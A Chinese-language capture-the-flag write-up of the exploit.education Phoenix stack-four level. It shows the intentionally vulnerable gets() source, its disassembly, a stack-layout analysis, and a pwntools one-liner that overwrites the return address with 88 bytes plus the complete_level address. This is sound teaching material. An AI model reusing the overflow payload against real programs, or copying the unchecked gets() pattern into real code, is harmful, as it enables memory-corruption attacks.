exploit.education/stack-four

这个关卡是一个标准的栈溢出的例子。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
* phoenix/stack-four, by https://exploit.education
*
* The aim is to execute the function complete_level by modifying the
* saved return address, and pointing it to the complete_level() function.
*
* Why were the apple and orange all alone? Because the bananna split.
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}

void start_level() {
char buffer[64];
void *ret;

gets(buffer);

ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}

分析

main调用start_levelstart_level中有一个gets函数会千万栈溢出,利用溢出漏洞我们可以控制RIP/EIP,也就是程序执行流程。通过将返回地址覆盖成complete_level函数的地址,就过关了。

实操

先来看一下主要函数部分的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
000000000040061d <complete_level>:
40061d: 55 push %rbp
40061e: 48 89 e5 mov %rsp,%rbp
400621: bf f0 06 40 00 mov $0x4006f0,%edi
400626: e8 55 fe ff ff callq 400480 <puts@plt>
40062b: bf 00 00 00 00 mov $0x0,%edi
400630: e8 5b fe ff ff callq 400490 <exit@plt>

0000000000400635 <start_level>:
400635: 55 push %rbp
400636: 48 89 e5 mov %rsp,%rbp
400639: 48 83 ec 50 sub $0x50,%rsp
40063d: 48 8d 45 b0 lea -0x50(%rbp),%rax
400641: 48 89 c7 mov %rax,%rdi
400644: e8 27 fe ff ff callq 400470 <gets@plt>
400649: 48 8b 45 08 mov 0x8(%rbp),%rax
40064d: 48 89 45 f8 mov %rax,-0x8(%rbp)
400651: 48 8b 45 f8 mov -0x8(%rbp),%rax
400655: 48 89 c6 mov %rax,%rsi
400658: bf 33 07 40 00 mov $0x400733,%edi
40065d: b8 00 00 00 00 mov $0x0,%eax
400662: e8 f9 fd ff ff callq 400460 <printf@plt>
400667: 90 nop
400668: c9 leaveq
400669: c3 retq

000000000040066a <main>:
40066a: 55 push %rbp
40066b: 48 89 e5 mov %rsp,%rbp
40066e: 48 83 ec 10 sub $0x10,%rsp
400672: 89 7d fc mov %edi,-0x4(%rbp)
400675: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400679: bf 50 07 40 00 mov $0x400750,%edi
40067e: e8 fd fd ff ff callq 400480 <puts@plt>
400683: b8 00 00 00 00 mov $0x0,%eax
400688: e8 a8 ff ff ff callq 400635 <start_level>
40068d: b8 00 00 00 00 mov $0x0,%eax
400692: c9 leaveq
400693: c3 retq
400694: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40069b: 00 00 00
40069e: 66 90 xchg %ax,%ax

call汇编指令分为两个部分,

  1. 将当前指令的下一条指令地址压入栈中
  2. JMP(无条件跳转)到目标函数地址。

在程序从main函数的0x400688处调用(call)start_level函数时,会先将0x40068d这个地址压入栈中,作为返回地址,以便执行完start_level之后程序再回到main函数继续执行。

来到0x0400635处的start_level函数,系统会保存main函数时的RBP,并通过提升栈顶(表现为将RSP减去一定字节),为局部变量bufferret分配合适的空间。buffer为一个char类型的数组,所以长度为64字节;ret为地址类型的变量,所以在64位系统中长度为8个字节。理论计算应该分配64+8=72个字节。
但是出于地址对齐等原因,一般会比这个长度大小要大一些,如本例子中就分配了0x50 = 80个字节的空间。

对于局部变量在调用栈中的分配,一般是按照定义顺序进行分配的,除非打开某些编译器优化选项。

综合上面的内容,我们可以认为start_level栈是这样的:

1554818156508.jpg
upload successful

当执行到gets函数时,栈顶地址作为gets的参数传入,所以我们的输入是从栈顶开始向下覆盖的。如果我们这时利用溢出将ret to main这个地址(返回地址)覆盖成complete_level函数的地址,那么start_level执行完毕后,想要返回main函数继续执行时,却因为我们已经更改了返回地址,去执行了complete_level函数。

那么接下来的事儿就简单了。
首先,complete_level函数的地址在上面已经看到,为0x040061d,那么为了覆盖返回地址(也就是图中ret to main的地址),我们需要多少个字符填充呢?对,就是0x50+8 = 88个字节,后面跟上0x040061d,就完成过关。

1
2
3
4
user@phoenix-amd64:~$ python -c "from pwn import *;print 'A'*88+p64(0x040061d)" | /opt/phoenix/amd64/stack-four 
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!

总结

  1. 要对调用栈的数据分布比较了解
  2. 理论计算不如看一下汇编代码,因为编译器可能由于优化、地址对齐等原因对栈的大小进行调整。